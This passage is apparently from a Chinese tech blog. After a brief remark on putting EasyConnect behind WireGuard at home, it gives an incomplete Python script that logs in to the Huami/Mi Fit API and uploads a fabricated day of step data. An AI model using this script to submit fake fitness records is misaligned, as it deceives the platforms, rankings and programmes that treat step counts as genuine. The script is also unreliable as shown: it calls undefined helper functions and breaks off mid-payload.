但是还有一个问题,把代理暴露在公网肯定是不安全,我想着家里有个闲置的服务器,干脆把 easyconnect 跑在上面得了,刚好我家也有公网 ip ,搭建好 wireguard 作为 easyconnect 的前置代理,surge 也能完美支持 wireguard 协议。

完美的解决了我的问题,再也不用打开恶心的 easyconnect

自腾讯云服务开始收费后,就把小米步数修改部署到阿里云服务。以下代码均来源于各位大佬的分享,做了一些裁剪,大佬们见谅。

代码简介

是否支持多账号:否
消息推送平台:
Qmsg酱QQ推送
PUSHPLUS推送
server酱微信推送

# -*- coding: utf8 -*-
import requests,time,re,json
from random import randint
  
headers = {
    'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 9; MI 6 MIUI/20.6.18)'
    }
   
#获取登录code
def get_code(location):
    code_pattern = re.compile("(?<=access=).*?(?=&)")
    code = code_pattern.findall(location)[0]
    #print(code)
    return code
   
#登录
def login(user,password):
    url1 = "https://api-user.huami.com/registrations/+86" + user + "/tokens"
    headers = {
        "Content-Type":"application/x-www-form-urlencoded;charset=UTF-8",
        "User-Agent":"MiFit/4.6.0 (iPhone; iOS 14.0.1; Scale/2.00)"
        }
    data1 = {
        "client_id":"HuaMi",
        "password":f"{password}",
        "redirect_uri":"https://s3-us-west-2.amazonaws.com/hm-registration/successsignin.html",
        "token":"access"
        }
    r1 = requests.post(url1,data=data1,headers=headers,allow_redirects=False)
    print(r1.text)
    location = r1.headers["Location"]
    #print(location)
    try:
        code = get_code(location)
    except:
        return 0,0
    print("access_code获取成功!")
    print(code)
       
    url2 = "https://account.huami.com/v2/client/login"
    data2 = {
        "app_name":"com.xiaomi.hm.health",
        "app_version":"4.6.0",
        "code":f"{code}",
        "country_code":"CN",
        "device_id":"2C8B4939-0CCD-4E94-8CBA-CB8EA6E613A1",
        "device_model":"phone",
        "grant_type":"access_token",
        "third_name":"huami_phone",
        } 
    r2 = requests.post(url2,data=data2,headers=headers).json()
    login_token = r2["token_info"]["login_token"]
    print("login_token获取成功!")
    print(login_token)
    userid = r2["token_info"]["user_id"]
    print("userid获取成功!")
    print(userid)
   
    return login_token,userid
  
   
#主函数
def main():     
    login_token = 0
    login_token,userid = login(user,password)
    if login_token == 0:
        print("登陆失败!")
        return "login fail!"
   
    t = get_time()
       
    app_token = get_app_token(login_token)
   
    date = time.strftime("%Y-%m-%d",time.localtime())
      
    today = time.strftime("%F")
    data_json = '%5B%7B%22data_hr%22%3A%22%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9L%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FVv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0v%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9e%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0n%5C%2Fa%5C%2F%5C%2F%5C%2FS%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0b%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F1FK%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FR%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9PTFFpaf9L%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FR%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0j%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9K%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FOv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fzf%5C%2F%5C%2F%5C%2F86%5C%2Fzr%5C%2FOv88%5C%2Fzf%5C%2FPf%5C%2F%5C%2F%5C%2F0v%5C%2FS%5C%2F8%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FSf%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fz3%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0r%5C%2FOv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FS%5C%2F9L%5C%2Fzb%5C%2FSf9K%5C%2F0v%5C%2FRf9H%5C%2Fzj%5C%2FSf9K%5C%2F0%5C%2F%5C%2FN%5C%2F%5C%2F%5C%2F%5C%2F0D%5C%2FSf83%5C%2Fzr%5C%2FPf9M%5C%2F0v%5C%2FOv9e%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FS%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fzv%5C%2F%5C%2Fz7%5C%2FO%5C%2F83%5C%2Fzv%5C%2FN%5C%2F83%5C%2Fzr%5C%2FN%5C%2F86%5C%2Fz%5C%2F%5C%2FNv83%5C%2Fzn%5C%2FXv84%5C%2Fzr%5C%2FPP84%5C%2Fzj%5C%2FN%5C%2F9e%5C%2Fzr%5C%2FN%5C%2F89%5C%2F03%5C%2FP%5C%2F89%5C%2Fz3%5C%2FQ%5C%2F9N%5C%2F0v%5C%2FTv9C%5C%2F0H%5C%2FOf9D%5C%2Fzz%5C%2FOf88%5C%2Fz%5C%2F%5C%2FPP9A%5C%2Fzr%5C%2FN%5C%2F86%5C%2Fzz%5C%2FNv87%5C%2F0D%5C%2FOv84%5C%2F0v%5C%2FO%5C%2F84%5C%2Fzf%5C%2FMP83%5C%2FzH%5C%2FNv83%5C%2Fzf%5C%2FN%5C%2F84%5C%2Fzf%5C%2FOf82%5C%2Fzf%5C%2FOP83%5C%2Fzb%5C%2FMv81%5C%2FzX%5C%2FR%5C%2F9L%5C%2F0v%5C%2FO%5C%2F9I%5C%2F0T%5C%2FS%5C%2F9A%5C%2Fzn%5C%2FPf89%5C%2Fzn%5C%2FNf9K%5C%2F07%5C%2FN%5C%2F83%5C%2Fzn%5C%2FNv83%5C%2Fzv%5C%2FO%5C%2F9A%5C%2F0H%5C%2FOf8%5C%2F%5C%2Fzj%5C%2FPP83%5C%2Fzj%5C%2FS%5C%2F87%5C%2Fzj%5C%2FNv84%5C%2Fzf%5C%2FOf83%5C%2Fzf%5C%2FOf83%5C%2Fzb%5C%2FNv9L%5C%2Fzj%5C%2FNv82%5C%2Fzb%5C%2FN%5C%2F85%5C%2Fzf%5C%2FN%5C%2F9J%5C%2Fzf%5C%2FNv83%5C%2Fzj%5C%2FNv84%5C%2F0r%5C%2FSv83%5C%2Fzf%5C%2FMP%5C%2F%5C%2F%5C%2Fzb%5C%2FMv82%5C%2Fzb%5C%2FOf85%5C%2Fz7%5C%2FNv8%5C%2F%5C%2F0r%5C%2FS%5C%2F85%5C%2F0H%5C%2FQP9B%5C%2F0D%5C%2FNf89%5C%2Fzj%5C%2FOv83%5C%2Fzv%5C%2FNv8%5C%2F%5C%2F0f%5C%2FSv9O%5C%2F0ZeXv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F1X%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9B%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FTP%5C%2F%5C%2F%5C%2F1b%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9N%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%22%2C%22date%22%3A%222021-08-07%22%2C%22data%22%3A%5B%7B%22start%22%3A0%2C%22stop%22%3A1439%2C%22value%22%3A%22UA8AUBQAUAwAUBoAUAEAYCcAUBkAUB4AUBgAUCAAUAEAUBkAUAwAYAsAYB8AYB0AYBgAYCoAYBgAYB4AUCcAUBsAUB8AUBwAUBIAYBkAYB8AUBoAUBMAUCEAUCIAYBYAUBwAUCAAUBgAUCAAUBcAYBsAYCUAATIPYD0KECQAYDMAYB0AYAsAYCAAYDwAYCIAYB0AYBcAYCQAYB0AYBAAYCMAYAoAYCIAYCEAYCYAYBsAYBUAYAYAYCIAYCMAUB0AUCAAUBYAUCoAUBEAUC8AUB0AUBYAUDMAUDoAUBkAUC0AUBQAUBwAUA0AUBsAUAoAUCEAUBYAUAwAUB4AUAwAUCcAUCYAUCwKYDUAAUUlEC8IYEMAYEgAYDoAYBAAUAMAUBkAWgAAWgAAWgAAWgAAWgAAUAgAWgAAUBAAUAQAUA4AUA8AUAkAUAIAUAYAUAcAUAIAWgAAUAQAUAkAUAEAUBkAUCUAWgAAUAYAUBEAWgAAUBYAWgAAUAYAWgAAWgAAWgAAWgAAUBcAUAcAWgAAUBUAUAoAUAIAWgAAUAQAUAYAUCgAWgAAUAgAWgAAWgAAUAwAWwAAXCMAUBQAWwAAUAIAWgAAWgAAWgAAWgAAWgAAWgAAWgAAWgAAWREAWQIAUAMAWSEAUDoAUDIAUB8AUCEAUC4AXB4AUA4AWgAAUBIAUA8AUBAAUCUAUCIAUAMAUAEAUAsAUAMAUCwAUBYAWgAAWgAAWgAAWgAAWgAAWgAAUAYAWgAAWgAAWgAAUAYAWwAAWgAAUAYAXAQAUAMAUBsAUBcAUCAAWwAAWgAAWgAAWgAAWgAAUBgAUB4AWgAAUAcAUAwAWQIAWQkAUAEAUAIAWgAAUAoAWgAAUAYAUB0AWgAAWgAAUAkAWgAAWSwAUBIAWgAAUC4AWSYAWgAAUAYAUAoAUAkAUAIAUAcAWgAAUAEAUBEAUBgAUBcAWRYAUA0AWSgAUB4AUDQAUBoAXA4AUA8AUBwAUA8AUA4AUA4AWgAAUAIAUCMAWgAAUCwAUBgAUAYAUAAAUAAAUAAAUAAAUAAAUAAAUAAAUAAAUAAAWwAAUAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAeSEAeQ8AcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBcAcAAAcAAAcCYOcBUAUAAAUAAAUAAAUAAAUAUAUAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCgAeQAAcAAAcAAAcAAAcAAAcAAAcAYAcAAAcBgAeQAAcAAAcAAAegAAegAAcAAAcAcAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCkAeQAAcAcAcAAAcAAAcAwAcAAAcAAAcAIAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCIAeQAAcAAAcAAAcAAAcAAAcAAAeRwAeQAAWgAAUAAAUAAAUAAAUAAAUAAAcAAAcAAAcBoAeScAeQAAegAAcBkAeQAAUAAAUAAAUAAAUAAAUAAAUAAAcAAAcAAAcAAAcAAAcAAAcAAAegAAegAAcAAAcAAAcBgAeQAAcAAAcAAAcAAAcAAAcAAAcAkAegAAegAAcAcAcAAAcAcAcAAAcAAAcAAAcAAAcA8AeQAAcAAAcAAAeRQAcAwAUAAAUAAAUAAAUAAAUAAAUAAAcAAAcBEAcA0AcAAAWQsAUAAAUAAAUAAAUAAAUAAAcAAAcAoAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAYAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBYAegAAcAAAcAAAegAAcAcAcAAAcAAAcAAAcAAAcAAAeRkAegAAegAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAEAcAAAcAAAcAAAcAUAcAQAcAAAcBIAeQAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBsAcAAAcAAAcBcAeQAAUAAAUAAAUAAAUAAAUAAAUBQAcBYAUAAAUAAAUAoAWRYAWTQAWQAAUAAAUAAAUAAAcAAAcAAAcAAAcAAAcAAAcAMAcAAAcAQAcAAAcAAAcAAAcDMAeSIAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBQAeQwAcAAAcAAAcAAAcAMAcAAAeSoAcA8AcDMAcAYAeQoAcAwAcFQAcEMAeVIAaTYAbBcNYAsAYBIAYAIAYAIAYBUAYCwAYBMAYDYAYCkAYDcAUCoAUCcAUAUAUBAAWgAAYBoAYBcAYCgAUAMAUAYAUBYAUA4AUBgAUAgAUAgAUAsAUAsAUA4AUAMAUAYAUAQAUBIAASsSUDAAUDAAUBAAYAYAUBAAUAUAUCAAUBoAUCAAUBAAUAoAYAIAUAQAUAgAUCcAUAsAUCIAUCUAUAoAUA4AUB8AUBkAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAA%22%2C%22tz%22%3A32%2C%22did%22%3A%22DA932FFFFE8816E7%22%2C%22src%22%3A24%7D%5D%2C%22summary%22%3A%22%7B%5C%22v%5C%22%3A6%2C%5C%22slp%5C%22%3A%7B%5C%22st%5C%22%3A1628296479%2C%5C%22ed%5C%22%3A1628296479%2C%5C%22dp%5C%22%3A0%2C%5C%22lt%5C%22%3A0%2C%5C%22wk%5C%22%3A0%2C%5C%22usrSt%5C%22%3A-1440%2C%5C%22usrEd%5C%22%3A-1440%2C%5C%22wc%5C%22%3A0%2C%5C%22is%5C%22%3A0%2C%5C%22lb%5C%22%3A0%2C%5C%22to%5C%22%3A0%2C%5C%22dt%5C%22%3A0%2C%5C%22rhr%5C%22%3A0%2C%5C%22ss%5C%22%3A0%7D%2C%5C%22stp%5C%22%3A%7B%5C%22ttl%5C%22%3A18272%2C%5C%22dis%5C%22%3A10627%2C%5C%22cal%5C%22%3A510%2C%5C%22wk%5C%22%3A41%2C%5C%22rn%5C%22%3A50%2C%5C%22runDist%5C%22%3A7654%2C%5C%22runCal%5C%22%3A397%2C%5C%22stage%5C%22%3A%5B%7B%5C%22start%5C%22%3A327%2C%5C%22stop%5C%22%3A341%2C%5C%22mode%5C%22%3A1%2C%5C%22dis%5C%22%3A481%2C%5C%22cal%5C%22%3A13%2C%5C%22step%5C%22%3A680%7D%2C%7B%5C%22start%5C%22%3A342%2C%5C%22stop%5C%22%3A367%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A2295%2C%5C%22cal%5C%22%3A95%2C%5C%22step%5C%22%3A2874%7D%2C%7B%5C%22start%5C%22%3A368%2C%5C%22stop%5C%22%3A377%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1592%2C%5C%22cal%5C%22%3A88%2C%5C%22step%5C%22%3A1664%7D%2C%7B%5C%22start%5C%22%3A378%2C%5C%22stop%5C%22%3A386%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1072%2C%5C%22cal%5C%22%3A51%2C%5C%22step%5C%22%3A1245%7D%2C%7B%5C%22start%5C%22%3A387%2C%5C%22stop%5C%22%3A393%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1036%2C%5C%22cal%5C%22%3A57%2C%5C%22step%5C%22%3A1124%7D%2C%7B%5C%22start%5C%22%3A394%2C%5C%22stop%5C%22%3A398%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A488%2C%5C%22cal%5C%22%3A19%2C%5C%22step%5C%22%3A607%7D%2C%7B%5C%22start%5C%22%3A399%2C%5C%22stop%5C%22%3A414%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A2220%2C%5C%22cal%5C%22%3A120%2C%5C%22step%5C%22%3A2371%7D%2C%7B%5C%22start%5C%22%3A415%2C%5C%22stop%5C%22%3A427%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1268%2C%5C%22cal%5C%22%3A59%2C%5C%22step%5C%22%3A1489%7D%2C%7B%5C%22start%5C%22%3A428%2C%5C%22stop%5C%22%3A433%2C%5C%22mode%5C%22%3A1%2C%5C%22dis%5C%22%3A152%2C%5C%22cal%5C%22%3A4%2C%5C%22step%5C%22%3A238%7D%2C%7B%5C%22start%5C%22%3A434%2C%5C%22stop%5C%22%3A444%2C%5C%22mode%5C